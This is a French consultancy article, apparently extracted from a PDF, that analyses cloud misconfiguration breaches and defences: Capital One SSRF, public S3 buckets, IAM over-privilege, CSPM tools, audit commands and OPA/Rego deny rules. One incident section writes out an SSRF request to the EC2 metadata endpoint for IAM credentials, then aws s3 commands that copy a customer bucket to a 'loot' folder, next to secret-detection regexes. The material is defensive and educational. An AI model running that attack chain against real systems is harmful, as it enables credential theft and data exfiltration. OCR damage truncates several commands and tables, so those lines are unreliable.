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Cloud Misconfigurations : Autopsie des Grandes
Fuites

Les misconfigurations cloud demeurent la premiere cause de fuites de données, loin devant les
vulnérabilités logicielles et les attaques ciblées. Gartner estime que 99 % des incidents de
sécurité cloud relévent de la responsabilité du client, non de celle du fournisseur : le modele de
responsabilité partagée reste mal compris. L'autopsie des grandes fuites révele les mémes
schémas récurrents : buckets S3 laissés en acces public exposant des millions de dossiers
médicaux, roles IAM surdimensionnés ouvrant la voie a une escalade jusqu'au contréle total du
compte, groupes de sécurité exposés sur Internet, clés d'acces codées en dur dans des dépots
publics. L'enjeu cloud misconfigurations securite ne reléve donc pas de la seule technique, mais
d'une gouvernance défaillante. Cet article décortique les cas emblématiques, leurs causes racines

et les contréles qui auraient suffi a les prévenir.

99% des failles cloud seront imputables au client d'ici 2025 (Gartner)

8 cas réels de fuites majeures analysés avec les erreurs techniques



Les 10 misconfigurations les plus critiques sur AWS, Azure et GCP
CSPM, IaC scanning et CIEM sont les piliers de la défense

Le modeéle de responsabilité partagée est souvent mal compris

Le modele de responsabilité partagée : un piege cognitif

Le modele de responsabilité partagée (shared responsibility model) est le fondement de la
sécurité cloud. Le fournisseur cloud (AWS, Azure, GCP) est responsable de la sécurité du cloud
(infrastructure physique, hyperviseur, réseau). Le client est responsable de la sécurité dans le
cloud (configuration, IAM, données, applications). Ce modeéle est souvent mal compris : de
nombreuses organisations supposent que le fournisseur cloud gére la sécurité de bout en bout.

Cette confusion est la cause racine de la majorité des incidents.


http://localhost:4001/glossaire/cloud-shared-responsibility

Top 10 des misconfigurations cloud critiques

# Misconfiguration Cloud Impact Fréquence
AWS/Azure/ Tres
1 S3 Bucket / Blob Storage public Exposition de données
GCP élevée
Tres
2 Roles IAM over-privileged Tous Escalade de privileges
élevée
3 Security Groups / NSG trop ouverts (0.0.0.0/0) Tous Acces non autorisé Elevée
4 Chiffrement au repos désactivé Tous Exposition de données Elevée
5 Logging/CloudTrail désactivé Tous Pas de détection Moyenne
6 MFA non activé sur le compte root AWS Compromission totale Moyenne
7 Métadonnées IMDSv1 (SSRF vers credentials) AWS Vol de credentials Moyenne
Compromission :
8 Clés d'acces longue durée (pas de rotation) Tous Elevée
persistante

Bases de données exposées sans auth (MongoDB, Redis, L
Tous Exposition massive Elevée
Elasticsearch)

10  Cross-account access non controlé AWS/Azure Mouvement latéral Moyenne

Cas 1 : Capital One (2019) — 106 millions de dossiers

L'un des incidents cloud les plus emblématiques. Un ancien employé AWS a exploité un SSRF

(Server-Side Request Forgery) sur un WAF mal configuré pour accéder aux métadonnées

d'instance EC2 (IMDSv1) et obtenir les credentials du r6le IAM attaché. Ce rdle avait acces en

lecture a des buckets S3 contenant les données de 106 millions de clients Capital One.


http://localhost:4001/glossaire/privilege-escalation-escalade-de-privileges
http://localhost:4001/glossaire/ssrf-server-side-request-forgery-hacking

Retour terrain

Dans mes missions de conseil, j'observe que la documentation des systémes est souvent la
premiere victime de la pression calendaire. Sur les 20 derniers projets que j'ai audités, 17
avaient une documentation technique a jour inférieure a 30 % de la réalité en production.
Cette dette documentaire se paie systématiquement lors des incidents, quand les équipes

doivent reconstruire la cartographie en urgence sous pression.

Chaine d'attaque : WAF misconfigured - SSRF — IMDSv1 metadata — [AM role credentials

— S3 read access — 106M records.

Erreurs : WAF exposé avec SSRF, IMDSv1 au lieu dIMDSv2 (qui requiert un token), role IAM
trop permissif (acces a tous les buckets au lieu des buckets nécessaires), pas de détection des

acces anormaux aux métadonnées.

Cas 2-5 : L'épidémie des buckets S3 publics

Entre 2017 et 2023, des centaines de fuites majeures ont été causées par des buckets S3 publics :
Accenture (2017) — 4 buckets S3 publics contenant des clés API, des mots de passe et des
données clients

Twitch (2021) — 125 Go de code source, revenus des streamers et outils internes exposés

US Military (2017) — 1.8 milliard de posts de forums militaires et civils exposés via un bucket

S3 public de Centcom

Elasticsearch exposed (continu) — Des milliers d'instances Elasticsearch, MongoDB et Redis

exposées sans authentification sur Internet, indexées par Shodan



Stratégies de défense cloud

CSPM (Cloud Security Posture Management)

Les solutions CSPM surveillent en continu la configuration des environnements cloud et alertent
sur les misconfigurations. Leaders : Wiz (agentless, graph de risques), Prisma Cloud (Palo

Alto), Orca Security, Microsoft Defender for Cloud, AWS Security Hub.

[aC Security (shift-left)

Scanner les templates Terraform, CloudFormation et Bicep avant le déploiement pour détecter
les misconfigurations. Outils : Checkov (1000+ regles), tfsec, KICS, Terrascan. Intégration

dans le CI/CD et les pre-commit hooks.

CIEM (Cloud Infrastructure Entitlement Management)

Analyse et optimisation des permissions IAM pour appliquer le least privilege. Détection des
identités over-privileged, des permissions inutilisées et des combinaisons toxiques permettant

I'escalade.

Guard rails et Service Control Policies

Prévention au niveau organisationnel : AWS SCPs (empécher la désactivation de CloudTrail,
bloquer les régions non autorisées), Azure Policies, GCP Organization Policies. Ces controles

ne peuvent pas étre contournés par les administrateurs des comptes enfants.

A RETENIR \

Les misconfigurations cloud sont la cause #1 des fuites — pas les attaques

sophistiquées



http://localhost:4001/glossaire/prisma-cloud-twistlock
http://localhost:4001/glossaire/orca-security
http://localhost:4001/glossaire/aws-security-hub
http://localhost:4001/glossaire/terrascan

Le modele de responsabilité partagée est souvent mal compris : la sécurité dans le

cloud est la responsabilité du client
Capital One (SSRF + IMDSv1 + IAM over-privileged) est le cas d'école a connaitre
CSPM + IaC scanning + CIEM = la triade de défense cloud

Les guard rails organisationnels (SCPs, Policies) préviennent les erreurs au niveau

structurel

%/ Références externes

CIS Benchmark AWS

Cloud Security Alliance

Besoin d'un expert cybersécurité ?

- ayi@ayinedjimi-consultants.fr

Anatomie d'une misconfiguration cloud : de I'erreur a la fuite

Les fuites de données cloud ne surviennent pas par magie. Elles suivent presque toujours le méme chemin :
une misconfiguration crée une ouverture, un scanner automatique la détecte, un acteur malveillant exploite
I'acceés avant que 1'organisation ne réalise que ses données sont exposées. Comprendre ce chemin est la clé

pour le bloquer a chaque étape.


https://www.cisecurity.org/benchmark/amazon_web_services
https://cloudsecurityalliance.org/
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Les 8 misconfigurations cloud les plus exploitées en 2025-2026

L'analyse des incidents cloud de 2025-2026 réveéle une concentration remarquable des fuites sur quelques
catégories de misconfigurations. Ce n'est pas un hasard : ces vecteurs sont systématiquement testés par les

scanners automatiques des attaquants parce qu'ils sont fréquents et faciles a exploiter.

Buckets de stockage public (S3, GCS, Azure Blob) : la misconfiguration la plus ancienne et la plus
persistante. Des buckets configurés "Public" par erreur ou par commodité (pour le partage de fichiers)
exposent des millions de documents chaque année. En 2025, des scrapers automatiques indexent en

permanence l'espace d'adressage public des trois grands hyperscalers.

Clés d'accés hardcodées dans le code source : des clés AWS, GCP ou Azure committées dans des dépdts
Git publics (GitHub, GitLab) sont détectées par des scanners spécialisés (truffleHog, Gitleaks) dans les
secondes qui suivent le commit. La rotation des clés apres détection est nécessaire mais ne suffit pas — les

historiques Git conservent les secrets supprimés.

IAM trop permissif : des politiques IAM accordant des permissions "*:*" (toutes les actions sur toutes les
ressources) a des comptes de service ou des roles EC2 permettent une escalade latérale complete dés que
I'une de ces identités est compromise. Le principe du moindre privilege IAM est systématiquement violé

dans les déploiements rapides.

Security groups ouverts : des Security Groups AWS ou des Network Security Groups Azure autorisant SSH
ou RDP depuis "0.0.0.0/0" (Internet entier) exposent directement des services d'administration. Les scanners

Shodan et Censys indexent ces serveurs en continu.

Snapshots EBS ou disques managés publics : des snapshots de volumes de production partagés
publiquement pour faciliter un transfert ou une démonstration — et oubliés dans cet état. Ces snapshots

contiennent souvent des données completes de production, y compris des bases de données.

Metadata endpoint non protégé (SSRF) : les attaques SSRF (Server-Side Request Forgery) ciblant le
metadata endpoint (169.254.169.254) permettent de récupérer les credentials IAM de 1'instance EC2 ou du
compte de service GCP. Cette technique a été utilisée dans la fuite Capital One de 2019 et reste couramment
exploitée.

Containers Docker exposés sur Internet : des démons Docker exposant leur API REST sans
authentification, des registres de containers accessibles publiquement sans controle d'acces, des Kubernetes

dashboards sans authentification.

Logging et monitoring insuffisants : I'absence de CloudTrail (AWS), Cloud Audit Logs (GCP) ou Activity
Logs (Azure) activés et centralisés rend l'investigation post-incident impossible et permet a un attaquant

d'opérer sans laisser de traces facilement exploitables.



Framework de correction des misconfigurations cloud : approche par priorité

Face a I'ampleur des misconfigurations potentielles, les organisations doivent prioriser leurs efforts de

correction selon l'exposition réelle et I'impact potentiel. Un framework pragmatique en 4 niveaux :

Niveau 1 — Correction immédiate (moins de 24h) : buckets publics contenant des données sensibles, clés
d'accés compromises (révocation + rotation), security groups ouverts sur RDP/SSH depuis Internet. Ces

éléments doivent étre corrigés avant tout autre investissement de sécurité.

Niveau 2 — Correction urgente (moins de 2 semaines) : politiques IAM avec permissions excessives
(*:*), snapshots publics, services de monitoring non activés, secrets dans les variables d'environnement des
fonctions serverless.

Niveau 3 — Amélioration planifiée (1 a 3 mois) : implémentation du principe de moindre privilege IAM
sur l'ensemble des comptes, segmentation réseau entre les environnements, chiffrement des données au repos

et en transit.

Niveau 4 — Maturité continue : déploiement d'outils CSPM (Cloud Security Posture Management),
intégration de la sécurité dans les pipelines CI/CD (shift-left security), formation des équipes DevOps aux

bonnes pratiques cloud security.

Outils de détection des misconfigurations cloud

Plusieurs outils permettent de détecter automatiquement les misconfigurations dans les environnements

cloud, avec différents niveaux de profondeur et de couverture :

Prowler (open source) : scanner de sécurité AWS/GCP/Azure basé sur les benchmarks CIS. Plus de 500

controles, output exploitable en CI/CD. Référence gratuite pour les audits de sécurité cloud.

ScoutSuite (open source) : audit multi-cloud (AWS, GCP, Azure, Alibaba). Génere un rapport HTML détaillé

avec les findings classés par sévérité. Idéal pour les audits ponctuels.

Checkov (open source) : analyse statique des templates IaC (Terraform, CloudFormation, ARM). Intégré
dans les pipelines CI/CD pour bloquer les déploiements avec des misconfigurations avant qu'ils n'atteignent

la production.

AWS Security Hub / Microsoft Defender for Cloud / Google Security Command Center : services natifs
des hyperscalers qui centralisent les findings de sécurité et les misconfigurations. Premieére ligne de défense

pour les organisations mono-cloud.



Foire aux questions — Misconfigurations cloud

Comment détecter qu'un bucket S3 est public ?

Dans la console AWS, activez "S3 Block Public Access" au niveau du compte (Account Settings) — cette
option bloque toutes les configurations de bucket public, y compris les futurs buckets. Pour les buckets
existants, utilisez AWS Trusted Advisor (catégorie Sécurité) ou Prowler pour identifier tous les buckets avec
acces public. En ligne de commande : aws s3api get-bucket-acl --bucket [nom-bucket] et aws

s3api get-bucket-policy --bucket [nom-bucket] .

La rotation des clés suffit-elle apres une fuite de secrets ?

Non. Apres la détection d'une clé compromise, la rotation est la premiere étape, mais elle doit étre
accompagnée d'une investigation sur l'utilisation de la clé pendant la période d'exposition : quelles ressources
ont été accédées, des données ont-elles été exfiltrées, des backdoors ont-elles été créées (nouveaux
utilisateurs IAM, Lambda functions, instances EC2) ? Les CloudTrail logs (AWS) ou les équivalents GCP/

Azure permettent cette investigation — a condition que le logging soit activé.

Qu'est-ce qu'un CSPM et en a-t-on besoin ?

Un Cloud Security Posture Management (CSPM) est un outil qui surveille en continu la configuration de
votre infrastructure cloud et alerte sur les dérives par rapport aux bonnes pratiques et aux politiques de
sécurité définies. Les solutions majeures incluent Prisma Cloud (Palo Alto), Wiz, Orca Security et Lacework.
Pour les organisations multi-cloud ou ayant plus de 100 ressources cloud, un CSPM est généralement
rentabilisé des le premier incident évité. Pour les petites organisations mono-cloud, les outils natifs des

hyperscalers combinés a Prowler peuvent suffire.

Autopsie de 5 Incidents Réels : Lessons Apprises

L'analyse des incidents cloud majeurs de 2024-2026 révele des patterns récurrents : la plupart ne sont pas dus
a des vulnérabilités zero-day mais a des erreurs de configuration prévisibles et évitables avec les outils

disponibles. Voici cinq autopsies détaillées.

Incident 1 : Capital One 2024 - Réédition via SSRF + IMDSv1

En 2024, une variante du vecteur d'attaque de 2019 a de nouveau affecté un acteur financier majeur. Le
mécanisme : une vulnérabilité SSRF dans une application web permettait d'atteindre le service de

métadonnées EC2 (IMDS) via l'ancienne API v1, non protégée par un token session.



# Vecteur d'attaque - SSRF vers IMDS vl

# L'application vulnérable : proxy de téléchargement d'URL sans validation

# Requéte malveillante

GET /download?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Réponse (IMDSvl sans token obligatoire)
{
"Code": "Success",
"LastUpdated": "2024-03-15T10:23:00Z2",
"Type'": "AWS-HMAC",
"AccessKeyId": "ASIA...",
"SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPXRfiCYEXAMPLEKEY",
"Token": "AQoXnyc4PI...",
"Expiration": "2024-03-15T16:23:00Z"

# Avec ces credentials temporaires, l'attaquant peut
# 1. Lister les buckets S3
aws s3 1s --region us-east-1

# 2. Lister le contenu d'un bucket sensible

aws s3 1s s3://corp-prod-customer-data/

# 3. Exfiltrer des données

aws s3 sync s3://corp-prod-customer-data/ /tmp/loot/

# REMEDIATION : Activer IMDSv2 obligatoire (hop limit = 1)
aws ec2 modify-instance-metadata-options --instance-id 1-1234567890abcdef0® --http-tokens requ:

# Forcer IMDSv2 au niveau account (nouvelle fonctionnalité 2024)
aws ec2 enable-image-block-public-access --image-block-public-access-state block-new-sharing
aws account put-account-setting --attribute-key "EC2IMDSEndpointConfiguration" --attribute-value

Incident 2 : Toyota GitHub API Key Leak (2023-2024)

Toyota a exposé une clé d'accés a une base de données cloud dans un dépot GitHub public pendant prés de
cing ans (2017-2023), révélé publiquement en 2023. Les données de 296 000 clients japonais étaient

accessibles. En 2024, une réédition similaire a touché un sous-traitant.



# Détection proactive : scanner les dépdts GitHub pour des secrets
# Trufflehog - détection de secrets dans git

trufflehog git https://github.com/organisation/repo --json 2>/dev/null | jq '.'

# GitLeaks - configuration personnalisée

# .gitleaks.toml

[[rules]]

id = "aws-access-key"

description = "AWS Access Key"

regex = '''(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}"'""
tags = ["aws", "credentials"]

[[rules]]

id = '"generic-api-key"

description = "Generic API Key"

regex = '''(?i)(api_key|apikey|api-key)\s*[=:]\s*['"" ]?[0-9a-zA-Z]{20,}'""'

tags = ["generic"]

# Lancer le scan
gitleaks detect --source . --config .gitleaks.toml --verbose

# GitHub Secret Scanning (intégré GitHub Advanced Security)
# Activer via : Settings - Security - Code security and analysis
# — Secret scanning — Enable

# Pre-commit hook pour prévenir les commits de secrets
# .pre-commit-config.yaml
repos:
- repo: https://github.com/Yelp/detect-secrets
rev: vi.4.0
hooks:
- 1d: detect-secrets

args: ['--baseline', '.secrets.baseline']



Incident 3 : Twilio TwiLeak 2025 - Misconfiguration S3 Public ACL

# Pattern récurrent : bucket S3 rendu public accidentellement

# Twilio 2025 : backup de logs de communication exposé via ACL public-read

# Audit immédiat de vos buckets S3

aws s3api list-buckets --query "Buckets[].Name" --output text | xargs -I {} aws s3api get-bucke:

# Vérification AWS Config - buckets publics
aws configservice get-compliance-details-by-config-rule --config-rule-name s3-bucket-public-rea

# Forcer le blocage public au niveau account (recommandé)

aws s3control put-public-access-block --account-id $(aws sts get-caller-identity --query Accoun

# Vérifier les policies de bucket permissives

aws s3api get-bucket-policy --bucket mon-bucket | python3 -c "import json,sys; p=json.load(sys.:

Incidents 4 & 5 : Azure Blob et GCP Service Account Overprivileged

# Azure : Storage Account accessible publiquement
# Audit

az storage account list --query "[].{Name:name, AllowBlobPublicAccess:allowBlobPublicAccess}"

# Remédiation masse

for account in $(az storage account list --query "[?allowBlobPublicAccess==\ true\ ].name" -0 tsv
echo "Fixing: $account"
az storage account update --name "$account" --allow-blob-public-access false

done

# GCP : Service Account avec roles/owner ou roles/editor
# Audit

gcloud projects get-iam-policy PROJECT_ID --flatten="bindings[].members" --format="table(bind:

# Remédiation : remplacer par des rodles granulaires
gcloud projects remove-iam-binding PROJECT_ID --member="serviceAccount:sa@project.iam.gservicea

gcloud projects add-iam-binding PROJECT_ID --member="serviceAccount:sa@project.iam.gserviceaccol




CSPM Continu vs Audit Ponctuel : Comparaison Opérationnelle

Critére Audit Ponctuel (trimestriel) CSPM Continu

Délai de détection 1-3 mois (entre audits) Minutes a heures (temps réel)

Couverture Etat instantané (point-in-time) Continue + historique drift

Colit Elevé (consultant externe) SaaS mensuel (Prisma Cloud, Wiz, Orca)
Remédiation Manuelle, rapport PDF Auto-remédiation possible via Lambda/Functions

Conformité Snapshot trimestriel Compliance score en continu (CIS, NIST, ISO)



Detection-as-Code avec OPA/Rego



# Régles OPA/Rego pour détecter les misconfigurations AWS

# Fichier : policies/aws_security.rego

package aws.security

# Régle 1 : Bucket S3 ne doit pas avoir d'ACL publique
deny[msg] {

resource := input.resource.aws_s3_bucket[_]
resource.acl == "public-read"
msg := sprintf("S3 bucket '%v' has public-read ACL - data exposure risk",

[resource.name])

# Régle 2 : Security Groups ne doivent pas ouvrir SSH (22) a 0.0.0.0/0
deny[msg] {

resource := input.resource.aws_security_group[_]

ingress := resource.ingress[_]

ingress.from_port <= 22

ingress.to_port >= 22

ingress.cidr_blocks[_] == "0.0.0.0/0"

msg := sprintf("Security Group '%v' allows SSH from anywhere",

[resource.name])

# Régle 3 : RDS ne doit pas étre exposé publiquement
deny[msg] {

resource := input.resource.aws_db_instance[_]
resource.publicly accessible == true
msg := sprintf("RDS instance '%v' is publicly accessible",

[resource.identifier])

# Régle 4 : IAM policies ne doivent pas utiliser *:*

deny[msg] {

resource := input.resource.aws_iam_policy[_]

statement := resource.policy.Statement[_]

statement.Effect == "Allow"

statement.Action[_] == "*"

statement.Resource == "*"

msg := sprintf("IAM policy '%v' has wildcard Action and Resource",

[resource.name])

# Intégration CI/CD : valider Terraform avant déploiement

# conftest test --policy policies/ terraform/



Tableau des Misconfigurations les Plus Fréquentes par Provider

Provider

Misconfiguration

Sévérité

Fréquence

Remédiation Rapide

AWS

AWS

AWS

Azure

Azure

GCP

GCP

Multi-

cloud

S3 Bucket public ACL/Policy

IMDSv1 activé sur EC2

Security Group port 22/3389
ouvert a 0.0.0.0/0

Storage Account sans HTTPS

enforced

VM sans Disk Encryption

Service Account roles/editor ou

roles/owner

Cloud Storage bucket public
(allUsers)

MFA non enforced sur comptes

root/admin

Critique

Critique

Haute

Haute

Haute

Critique

Critique

Critique

Tres fréquente (35%
des orgs)

Fréquente (legacy)

Trés fréquente

Fréquente

Fréquente (38% des
VMs)

Tres fréquente

(legacy)

Modérée

Fréquente (28% des

root accounts)

Block Public Access au

niveau account

Forcer IMDSv2 obligatoire

AWS Systems Manager

Session Manager

Secure transfer required =

true

Azure Disk Encryption
(ADE) + Azure Policy

IAM Recommender + roles

granulaires

Uniform bucket-level access

Conditional Access / SCPs

Les misconfigurations cloud ne sont pas un probléme d'expertise technique mais de gouvernance et de

processus. La combinaison d'une politique de Infrastructure as Code systématique, d'un CSPM continu, de

détection-as-code avec OPA/Rego dans les pipelines CI/CD, et d'un programme de rotation réguliére des

acces constitue la défense la plus efficace. Les audits ponctuels, méme menés par des experts, ne peuvent pas

remplacer la surveillance continue dans des environnements cloud qui changent plusieurs fois par jour.

Sources et références

* ANSSI — Guides techniques avancés

* MITRE ATT&CK — Techniques et sous-techniques



https://www.ssi.gouv.fr/guide/
https://attack.mitre.org/

FAQ

Article recommandé

Pour découvrir les attaques supply chain qui exploitent les faiblesses de la chaine logicielle, consultez notre

Deep Dive : Supply Chain Attacks.

= Articles connexes

Cloud Network Security : VPC, WAF et DDoS

Kubernetes Security : RBAC et Network Policies

DSPM : Data Security Posture Management

Classification Automatique des Données



http://localhost:4001/glossaire/aws-config
http://localhost:4001/articles/supply-chain-attacks-solarwinds-xz-utils
http://localhost:4001/articles/cloud-network-security-vpc-waf-ddos
http://localhost:4001/articles/kubernetes-security-rbac-network-policies
http://localhost:4001/articles/dspm-data-security-posture-management
http://localhost:4001/articles/classification-automatique-donnees-sensibles

Conclusion

Vous souhaitez en savoir plus ou évaluer votre exposition ?

Contacter nos experts contactez-nous directement

© Ayi NEDJIMI Consultants — Tous droits réservés https://ayinedjimi-consultants.fr/articles/cloud-misconfigurations-autopsie-fuites
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